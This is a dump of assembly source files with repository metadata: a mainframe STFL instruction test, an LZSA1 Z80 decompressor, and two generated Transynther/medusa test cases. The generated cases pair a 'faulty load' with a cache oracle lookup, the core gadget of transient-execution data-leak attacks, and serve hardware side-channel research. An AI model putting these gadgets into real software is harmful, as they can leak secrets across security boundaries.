'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 2}} {'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 5}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 6}, 'OP': 'STOR'} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
30.635179
2,999
0.649123
b1e19d61087d92267e8197d0e3d94892d5f67cb2
2,673
asm
Assembly
tests/stfl.asm
mtalexander/hyperion
05ade04006bd53f03dba6ec8c0a0155bae994b84
[ "BSL-1.0" ]
187
2015-01-10T15:01:43.000Z
2022-03-03T14:06:17.000Z
tests/stfl.asm
mtalexander/hyperion
05ade04006bd53f03dba6ec8c0a0155bae994b84
[ "BSL-1.0" ]
246
2015-01-04T15:59:06.000Z
2022-03-19T23:21:55.000Z
tests/stfl.asm
mtalexander/hyperion
05ade04006bd53f03dba6ec8c0a0155bae994b84
[ "BSL-1.0" ]
83
2015-01-11T10:55:01.000Z
2022-03-25T16:08:57.000Z
TITLE 'Store facilities list [extended].' * This file was put into the public domain 2016-08-20 * by John P. Hartmann. You can use it for anything you like, * as long as this notice remains. stfl start 0 using *,15 org stfl+x'c8' privfl ds f Stored in the PSA by STFL org stfl+x'1a0' Restart new dc ad(0,go) org stfl+x'1d0' Program new dc x'00020000',a(0,0,0) org stfl+x'200' sefl ds 2d efl ds 16d Should last a while go equ * stfl 0 32 bits at 200 decimal = x'c8' xgr 0,0 Short stfle sefl ipm 2 Should be 3 lgr 3,0 Should be 1 lhi 0,7 Store up to 8 stfle efl ipm 4 lgr 5,0 stfle 1 Should specification due to unalignment ltr 14,14 bnzr 14 lpswe stop stop dc 0d'0',x'0002 0000',2a(0),a(x'deadbeef') end
78.617647
80
0.191171
3b3f55cd0c9a5d5247ebdfeb23a99b226fa3e7e6
3,941
asm
Assembly
asm/z80/unlzsa1_small_v1.asm
francois-berder/lzsa
4f2d7da13634fad44c9a62064ee0a60c23191e5f
[ "Zlib", "CC0-1.0" ]
null
null
null
asm/z80/unlzsa1_small_v1.asm
francois-berder/lzsa
4f2d7da13634fad44c9a62064ee0a60c23191e5f
[ "Zlib", "CC0-1.0" ]
null
null
null
asm/z80/unlzsa1_small_v1.asm
francois-berder/lzsa
4f2d7da13634fad44c9a62064ee0a60c23191e5f
[ "Zlib", "CC0-1.0" ]
null
null
null
; ; Size-optimized LZSA1 decompressor by spke (v.1 23/04/2019, 68 bytes); ; with improvements by uniabis (30/07/2019, -1 byte, +3% speed). ; ; The data must be compressed using the command line compressor by Emmanuel Marty ; The compression is done as follows: ; ; lzsa.exe -f1 -r <sourcefile> <outfile> ; ; where option -r asks for the generation of raw (frame-less) data. ; ; The decompression is done in the standard way: ; ; ld hl,FirstByteOfCompressedData ; ld de,FirstByteOfMemoryForDecompressedData ; call DecompressLZSA1 ; ; Backward compression is also supported; you can compress files backward using: ; ; lzsa.exe -f1 -r -b <sourcefile> <outfile> ; ; and decompress the resulting files using: ; ; ld hl,LastByteOfCompressedData ; ld de,LastByteOfMemoryForDecompressedData ; call DecompressLZSA1 ; ; (do not forget to uncomment the BACKWARD_DECOMPRESS option in the decompressor). ; ; Of course, LZSA compression algorithms are (c) 2019 Emmanuel Marty, ; see https://github.com/emmanuel-marty/lzsa for more information ; ; Drop me an email if you have any comments/ideas/suggestions: zxintrospec@gmail.com ; ; This software is provided 'as-is', without any express or implied ; warranty. In no event will the authors be held liable for any damages ; arising from the use of this software. ; ; Permission is granted to anyone to use this software for any purpose, ; including commercial applications, and to alter it and redistribute it ; freely, subject to the following restrictions: ; ; 1. The origin of this software must not be misrepresented; you must not ; claim that you wrote the original software. If you use this software ; in a product, an acknowledgment in the product documentation would be ; appreciated but is not required. ; 2. Altered source versions must be plainly marked as such, and must not be ; misrepresented as being the original software. ; 3. This notice may not be removed or altered from any source distribution. ; DEFINE BACKWARD_DECOMPRESS IFNDEF BACKWARD_DECOMPRESS MACRO NEXT_HL inc hl ENDM MACRO ADD_OFFSET ex de,hl : add hl,de ENDM MACRO BLOCKCOPY ldir ENDM ELSE MACRO NEXT_HL dec hl ENDM MACRO ADD_OFFSET push hl : or a : sbc hl,de : pop de ; 11+4+15+10 = 40t / 5 bytes ENDM MACRO BLOCKCOPY lddr ENDM ENDIF @DecompressLZSA1: ld b,0 ; first a byte token "O|LLL|MMMM" is read from the stream, ; where LLL is the number of literals and MMMM is ; a length of the match that follows after the literals ReadToken: ld a,(hl) : exa : ld a,(hl) : NEXT_HL and #70 : jr z,NoLiterals rrca : rrca : rrca : rrca ; LLL<7 means 0..6 literals... cp #07 : call z,ReadLongBA ; LLL=7 means 7+ literals... ld c,a : BLOCKCOPY ; next we read the low byte of the -offset NoLiterals: push de : ld e,(hl) : NEXT_HL : ld d,#FF ; the top bit of token is set if ; the offset contains the high byte as well exa : or a : jp p,ShortOffset LongOffset: ld d,(hl) : NEXT_HL ; last but not least, the match length is read ShortOffset: and #0F : add 3 ; MMMM<15 means match lengths 0+3..14+3 cp 15+3 : call z,ReadLongBA ; MMMM=15 means lengths 14+3+ ld c,a ex (sp),hl ; BC = len, DE = -offset, HL = dest, SP -> [src] ADD_OFFSET ; BC = len, DE = dest, HL = dest+(-offset), SP -> [src] BLOCKCOPY ; BC = 0, DE = dest pop hl : jr ReadToken ; HL = src ; a standard routine to read extended codes ; into registers B (higher byte) and A (lower byte). ReadLongBA: add (hl) : NEXT_HL : ret nc ; the codes are designed to overflow; ; the overflow value 1 means read 1 extra byte ; and overflow value 0 means read 2 extra bytes .code1: ld b,a : ld a,(hl) : NEXT_HL : ret nz .code0: ld c,a : ld b,(hl) : NEXT_HL ; the two-byte match length equal to zero ; designates the end-of-data marker or b : ld a,c : ret nz pop de : pop de : ret
30.315385
85
0.696016
0c3b22f8cac46bfde02c3d5eb8a3ab0be876697e
7,233
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_957.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_957.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_957.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1e66b, %r9 nop nop nop inc %r8 mov $0x6162636465666768, %rdi movq %rdi, %xmm4 vmovups %ymm4, (%r9) nop nop cmp %rdi, %rdi lea addresses_D_ht+0xcfbf, %rsi lea addresses_A_ht+0x7f09, %rdi clflush (%rsi) nop nop sub $57350, %r8 mov $102, %rcx rep movsw nop nop nop nop nop sub $44046, %r9 lea addresses_A_ht+0xe97f, %rsi lea addresses_WC_ht+0x10ae7, %rdi nop nop nop and $23549, %r8 mov $93, %rcx rep movsl nop nop nop add $42311, %rdi lea addresses_WT_ht+0x77e4, %rsi lea addresses_A_ht+0x4cd7, %rdi add %r9, %r9 mov $30, %rcx rep movsb nop nop nop dec %rsi lea addresses_A_ht+0x1b77f, %r9 inc %rcx mov (%r9), %rsi nop nop nop nop nop and %rcx, %rcx lea addresses_A_ht+0x121bf, %rdi inc %rax movb $0x61, (%rdi) nop nop cmp $34884, %rsi lea addresses_D_ht+0x1677f, %rsi lea addresses_WC_ht+0x557f, %rdi clflush (%rdi) nop nop nop nop nop and $43262, %r8 mov $44, %rcx rep movsq nop nop nop nop nop sub %rsi, %rsi lea addresses_A_ht+0x16ff, %rsi lea addresses_A_ht+0x1023f, %rdi clflush (%rdi) nop nop xor $22608, %rbp mov $93, %rcx rep movsq nop nop nop nop add %rbp, %rbp lea addresses_WC_ht+0x1190b, %rsi lea addresses_A_ht+0x1377f, %rdi nop nop nop nop inc %r15 mov $63, %rcx rep movsb nop and $29864, %rax lea addresses_UC_ht+0x102bf, %rsi cmp %rcx, %rcx movb $0x61, (%rsi) nop nop sub $2955, %r9 lea addresses_A_ht+0x19f7f, %r15 sub $58370, %r8 movb (%r15), %al nop nop nop nop nop add $49551, %r15 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %r9 push %rdx push %rsi // Store mov $0xe5a, %r9 nop nop nop sub $50776, %r12 movl $0x51525354, (%r9) nop nop nop add $54740, %r10 // Store mov $0xd67, %rsi nop nop add %r11, %r11 movw $0x5152, (%rsi) xor $56312, %rsi // Faulty Load mov $0x1e2f7b0000000f7f, %r11 nop nop nop nop nop inc %rsi movb (%r11), %dl lea oracles, %r9 and $0xff, %rdx shlq $12, %rdx mov (%r9,%rdx,1), %rdx pop %rsi pop %rdx pop %r9 pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
33.957746
2,999
0.65533
e870a313471540ab211b60897201318834b80a85
7,264
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_13736_1786.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_13736_1786.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_13736_1786.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r14 push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x1ab2d, %rsi lea addresses_WC_ht+0x12248, %rdi nop nop nop nop mfence mov $96, %rcx rep movsl nop nop nop nop inc %r13 lea addresses_WT_ht+0xfe35, %r10 nop nop nop nop sub $26068, %r14 movw $0x6162, (%r10) nop nop nop add %rdx, %rdx lea addresses_WT_ht+0x141bd, %rsi lea addresses_A_ht+0x1259d, %rdi nop sub $24562, %r10 mov $103, %rcx rep movsq nop nop nop nop sub %rdi, %rdi lea addresses_D_ht+0x19b21, %r10 mfence mov (%r10), %di and $62628, %rcx lea addresses_WC_ht+0x957d, %rsi lea addresses_UC_ht+0x1023d, %rdi clflush (%rdi) nop cmp %r11, %r11 mov $62, %rcx rep movsb nop nop nop xor $10235, %rsi lea addresses_A_ht+0x1db3d, %rsi nop nop nop nop nop cmp $3386, %r10 mov (%rsi), %edx nop nop nop nop xor $63988, %r13 lea addresses_A_ht+0xc03d, %r10 nop nop nop nop nop sub %r14, %r14 mov (%r10), %r13d nop nop nop sub %rsi, %rsi lea addresses_UC_ht+0xcbd, %rsi nop nop nop nop sub %r10, %r10 and $0xffffffffffffffc0, %rsi movaps (%rsi), %xmm4 vpextrq $0, %xmm4, %r13 nop sub %rcx, %rcx lea addresses_UC_ht+0x9abd, %rcx nop cmp %rsi, %rsi mov $0x6162636465666768, %r13 movq %r13, %xmm5 and $0xffffffffffffffc0, %rcx vmovaps %ymm5, (%rcx) cmp %rcx, %rcx lea addresses_WT_ht+0xca3b, %rsi lea addresses_A_ht+0x1855d, %rdi clflush (%rsi) nop nop and $21272, %r14 mov $60, %rcx rep movsl nop nop and $12582, %r13 lea addresses_normal_ht+0x7181, %rdx nop sub %rcx, %rcx mov (%rdx), %r13d nop nop cmp %r11, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %r14 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %r14 push %rax push %rbx // Store lea addresses_US+0x43d, %rbx nop nop nop nop nop sub %r12, %r12 movw $0x5152, (%rbx) nop nop nop nop nop sub $9506, %r14 // Store lea addresses_A+0x1332d, %rax nop nop nop cmp $30060, %r10 mov $0x5152535455565758, %r14 movq %r14, (%rax) nop sub %rbx, %rbx // Faulty Load lea addresses_A+0xfe3d, %rax sub $63538, %r11 mov (%rax), %r14w lea oracles, %rax and $0xff, %r14 shlq $12, %r14 mov (%rax,%r14,1), %r14 pop %rbx pop %rax pop %r14 pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'00': 13736} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 